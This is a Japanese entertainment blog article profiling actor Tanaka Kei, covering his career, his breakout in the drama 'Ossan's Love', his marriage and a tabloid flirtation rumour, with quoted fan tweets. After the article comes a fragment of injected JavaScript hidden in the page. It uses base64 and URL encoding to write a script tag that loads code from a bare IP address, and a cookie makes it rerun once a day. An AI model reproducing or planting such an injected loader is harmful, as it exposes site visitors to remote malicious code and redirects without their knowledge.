2018年 4月クールのドラマ『おっさんずラブ』で男性にモテモテな主人公、「はるたん」を演じた田中圭。
放送終了後では数年前の写真集が重版出来になるなど、今、かなりキテいる人物です。
そして、7月以降も俳優として、次々といろいろな作品に出演することが決まっており、絶好調の彼について、たっぷり調査しました。
芸歴19年目の俳優としてのこれまでの軌跡
まずは田中圭のプロフィールから。
引用元:https://anincline.com/tanaka-kei/
誕生日 1984年7月10日
星座 かに座
出身地 東京都
血液型 O型
- ちなみに「圭」という名前は両親が「裏表ない子になって欲しい」という願いからつけました。ほら、圭って名前って左右対称じゃないですか。深い意味があったんですね。そんな田中圭は幼いころ父親を亡くしてしまいます。以来、母子家庭で過ごしていたのですが、生計を立てるため、とにかく母親が働きに出ていたので、ずっとおばあちゃん子だったようですね。
そういった経緯もあってか、自分の母親の息子でよかったと本気で感謝していて、母とは、かなり仲良しだと公言しています。
実は、芸能界に入ったきっかけもまさに母親が関係していたのです。
母親がMBAが大好きだったことで、将来はバスケの選手になって母親が喜ぶ顔がみたいという一心で、小学生の頃からバスケ部に所属し、青春を捧げ・・・ようとしていました。
ですが、中学3年の時、大きな怪我をしてバスケ選手の夢が断たれてしまいます。
絶望の淵ですっかりからっぽになってしまった田中圭。
そんな彼をみた母親が「夢を持っている人を見て刺激を受けてきなさい。」と田中圭に内緒で勝手に映画のオーディションに応募していたのです。
その行動に衝撃を受けた田中圭ですが、当然やりたくないので、断固拒否。
しかし、「わかった。5000円あげる。だから受けてきなさい。」と母親に言われ、承諾。ww
とはいっても芸能界に全く興味がなかったので、あくまでも「お金のため」でした。
受けたオーディションは、「21世紀ムービースターオーディション」というもので優勝者は『死者の学園祭』という深田恭子主演映画で、この映画では相手役を務めることになっていました。
田中圭はこのオーディションに書類審査は通過したものの、最終的には落選してしまう結果に。
ですが、審査員をつとめていた現在の所属事務所のスタッフにスカウトを受ける形で芸能界入りを果たすことになるのです。
2000年に『任天堂マリオパーティ』のCMでデビューを果たします。
俳優としては『孤独の果実』という作品に出演したのがデビューとなりました。
そんな田中圭の転機となった作品のひとつが、2003年に出演した『WATER BOYS』でした。
脇役だったんですが、なぜか?注目を集めたようです。
また、2006年の『トリビアの泉』では、 VTRの中でなぜか微笑みかける謎の青年役?として出演し、「あの子、誰?」と話題になったりもしたそう。
そんな中、2008年ごろから少しずつ主演作品を演じることもでてきました。
とはいえ、田中圭は主役というよりは、準主役や、脇役としてのポジションの役が多い印象が強いです。
目標としている人物は特にいませんが、2001年公開の映画『GO』を観て、「こういう作品に関われる役者になりたい」と俳優として生きていくことを決めたそうですね。
スポンサーリンク
田中圭の嫁の「さくら」って?浮気疑惑で離婚危機なの?
引用元:https://geisposoul.com/sakurasaku/
2011年9月、田中圭は、元女優の「さくら」と結婚しました。
2010年放送の『まっすぐな男』という作品で2人は初共演を果たし、一気に交際に発展したとか。
結婚した時、すでに妊娠5ヶ月だったので、「できちゃった結婚」と言われています。
ですが、田中圭はこの説を否定。
「あくまでも交際時から、さくらとの結婚を意識していた」とのこと。
2012年、2016年にそれぞれ出産し、2児の女の子を授かりました。
これに伴い、さくらは、子育てのために芸能界をあっさり辞めたのです。
長女が産まれた時点では、芸能活動を続けているつもりだったらしいのですが、次女が産まれた時、子育てに専念し、生活を支えようと決心し、辞めるに至ったみたいで・・・
田中圭はここ数年ずっと立て続けに休みなしでドラマなどに出演していますから、そんな彼を支えたいという意識もあったのかもしれません。
ちなみに、田中圭は、自分の子供のことを「ちびちゃん」と呼んでいるようです。
また、一緒によく散歩するなど仲良しエピソードをときおり披露することも。
家庭生活は順調のようで・・・・・
と言いたいところなんですが、実は「離婚危機なのでは?」という噂もあがっているのです。
実は子供が生まれ、生活が忙しくなったことにより自然と夜の営みがなくなってしまったよう。
それを先輩俳優に相談していたという噂まであります。(笑)
長女の子育てを頑張っていた2015年2月24日。
週刊誌にグラビアアイドル「西崎莉麻」との浮気をほのめかす記事が掲載されました。
”グラドルにセクハラ泥酔合コン”という衝撃的なタイトルがつけられたその記事によると、
引用元:http://onisoku17.com/archives/4578
「俺、チューすんの莉麻ぐらいしかいないよ」と甘い言葉を囁き、西崎も「圭さーん、する?」とまんざらでもない様子。
と発言し、西崎莉麻にキスを迫ったとか。
西崎莉麻は実はかねてから「好きな男性のタイプは田中圭さん」とリアルに名前を挙げていたため、ほんとうにまんざらでもない感じだったのかもしれませんね。
ですが、記事によると、この後、2人のグラドルとタクシーに乗り込んで、途中で2人ともそれぞれ降ろして、自宅へ帰ったので、なにもなかったとされます。
その後、さくらは田中圭を許したようで、以来はこのような浮いた噂は一切ありません。
そして、翌年の2016年には次女を授かっています。
またテレビでたびたび夫婦での仲良しエピソードも披露しており、現在は夫婦円満であることが伺えます。
奥様にも「ぱぴ」と呼ばれている圭さま♡奥様への愛がと絵も素敵です( ; ; )♡♡そして「うちの奥さん」というフレーズにドキドキする笑#田中圭 pic.twitter.com/gZrr1rCG2H
— うたき (@k_O71O) June 17, 2017
引用元:https://twitter.com/k_O71O/status/875966268788006913
奥さんがお揃いの財布を買って来てくれたけどサイズが小さくて、わざわざ財布3つ持ってまで奥さんがくれた小さいお財布使ってるのめちゃくちゃ可愛い無理愛おしい。うん、それで私の田中圭はいつ現れる?#田中圭 pic.twitter.com/HK6Y3GvKC3
— ヤマ (@ol_toutoi) June 4, 2018
引用元:Twitter
https://twitter.com/Lila_Beagle_/status/1011193401633472512
引用元:https://twitter.com/Lila_Beagle_/status/1011193401633472512
仕事柄、帰ってくるのが不規則な為家族を起こさないように、身体がバキバキになる布団で1人で寝る田中圭様が優しすぎて素敵すぎる。
「奥さん ちび」の言い方がたまらん#田中圭 pic.twitter.com/uoJHv2CtVA— うたき (@k_O71O) March 28, 2017
引用元:https://twitter.com/k_O71O/status/846713170215428096
おっさんずラブでの愛されっぷりをプチプレイバック
引用元:https://www.cinematoday.jp/news/N0098743
“おっさん”同士のピュアな恋愛を描く新感覚ラブストーリー。結婚願望は強いが全くモテる気配のない春田(田中圭)は、通勤中に痴漢に間違われる。そこに、尊敬する上司・黒澤(吉田鋼太郎)が居合わせ、無実を証明。ホッとした春田だったが、黒澤が落とした携帯の画面に自分の写真が登録されているのを見る。
視聴率こそ、一桁台で、ふるわなかったものの、SNSなどから火がつき、最終回後も、田中圭や林遣都の数年前の写真集がバカ売れするなど、社会現象を起こしているドラマ『おっさんずラブ』。
この作品は、田中圭演じる、はるたんこと春田が、なぜか男性にめちゃくちゃモテてしまい、恋に悩むというストーリー。
部長からは、壁ドンで告白され、後輩の牧からは、シャワー中に無理やりキスされるなど、とにかくときめくシチュエーションがたくさんつまっているのがこのドラマの特徴でもあったように見受けられます。
部長は奥さんとはるたんとの交際のため、長年結婚していた奥さんと別れる決意をし、牧は一度春田と恋人同士になるが、春田の幼馴染のちずちゃんに告白されているところを目撃し、別れを切り出すなど。
とにかく、部長vs牧のはるたんの奪い合いが、視聴者の心を夢中にさせ、最終回後には、「おっさんずラブロス」を起こす人が相次いだそうです。
最終的には、一度別れた牧にはるたんが熱烈な愛の告白をして、視聴者大納得のハッピーエンドで終了しました。
はるたんは、平凡な会社員という設定ではありますが、困っている人を見るとほっとけないところなど、お人好しなところがあり、そういった性格などが、牧や部長の心にささっていたのかもしれないですね。
いまさらブレイクと言われて不満?
引用元:https://www.youtube.com/watch?v=If5zVOcb8zQ
『おっさんずラブ』効果での写真集の売れ行きなどを受け、「遅咲きのブレイク俳優」などと言われているらしい田中圭。
しかし、田中圭本人はこの状況に「・・・・俺って、ブレイクしてなかったの?」と率直な思いをとある番組の取材時に語っていました。
本人は、現在の騒がれている状況でも「ひたすら演じ続けるだけ。なにも変わらない」といたって、ブレイクしても自分自身にはなんの影響もないという発言をしています。
出演歴をみるとここ数年は、立て続けにひたすらいろんな映画やドラマに出演し続け、休みがない状態が続いています。
とくに、近年は、本人が希望して、とにかく仕事を入れてもらっていたようで。
というのもそれだけたくさんの作品に出演していても「田中圭といえばこれ!」と言える代表作がいままで見当たらない状態でした。
有名な作品に出ていてもその作品で目立っていた人や主役は、田中圭ではなかったりとか。
それで正直、悩んでいたようで・・・
いろんな人が、「圭は実力があるからいつか代表作ができるよ」と言われて、ひたすらいろんな作品に出てもいまいち。
一時期は、同時期になんと7本もの作品を抱えていた時期もあったんだとか。
そんな中、実は主役経験がほとんどなかった田中圭に転機が。
それこそが『おっさんずラブ』との出会いでした。
実は、連続ドラマの前に一度深夜枠で一度きりのドラマとして、放送していました。
その時は、世間的には正直結構微妙な反応だったぽいです。
でも『おっさんずラブ』が始まるちょっと前くらいに友人に「次(おっさんずラブ)がオレの代表作になるかもしれない。」と意気込んでいたそう。
そんな発言を聞いたことがなかった友人は「圭がそこまで手応えを持つ作品ってどんなのなんだろう」と興味がすごく湧いたようで。
結果としては、代表作になりました。
ですが、実は、撮影が始まる前、牧役の林遣都に、「この作品が届かなかったら(世間に)俺、役者辞めるから」となみなみならぬ覚悟で挑んでいることを告げたそう。
結果として田中圭は「おっさんずラブは田中圭の代表作といえる作品になった。」と取材に答えています。
それだけの覚悟で臨んでいたからか、『おっさんずラブ』の撮影後には、田中圭自身もロスになってしまい、クランクアップ時には、涙が溢れてとまらなくなったみたいです。
この状況はいつまでも続かないだろうなと妙に冷静になっているというか。キャリアも結構あるし、そうはならないだろうとは思うんですけど、例えば僕がどんなにつまらない芝居をしても周りが褒めてくれるような状況は作りたくないですね。そういうとこと戦ってきて今の“田中圭”があるはずなので、これからも自分自身に対して“つまらない芝居するんじゃないぞ”と喝を入れ続けなければいけないなと感じています。
2018年7月現在、『おっさんずラブ』が終了して、演じることになった『健康で文化的な最低限度の生活』では、京極という役を演じていますが、春田とは真逆の役で。
しかも『おっさんずラブ』はオリジナル作品のため、ある程度、自分の中で自由に演技ができたそう。
ですが、今回の作品は、原作があるので自分の色は出したにしてもある程度、原作という枠に沿って演じることが要求されます。
周りの反応は正直、気になりはするみたいですが「フツーに演じるだけ」とあくまで自分らしく演技することに重点を置いているみたいで。
前にも何度か仕事をやめようとしたけど、たくさん仕事を入れていたことで他の人に迷惑になるからととどまったことがあったそう。
いままでは、正直、個人的な感覚としては、ブレイクはしていたんだと思います。
だって、ブレイクしてないとそんな立て続けに作品に出演するなんてできないと思うから。
でも『おっさんずラブ』がきっかけで確実に大ブレイクの階段に差し掛かったでしょう。
若さで乗り越えられる20代の役者とは違い、30代からは演じる役がすこしずつ制限されたり、よりレベルの高い演技力が要求されるなど大変なことも多くなってくると思います。
が、19年というとてつもないキャリアとかなり多くの作品に出演した経験を生かし、これからもナチュラルな魅力たっぷりな田中圭として、様々な作品に大きないろどりを与え続けてほしいです。
):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('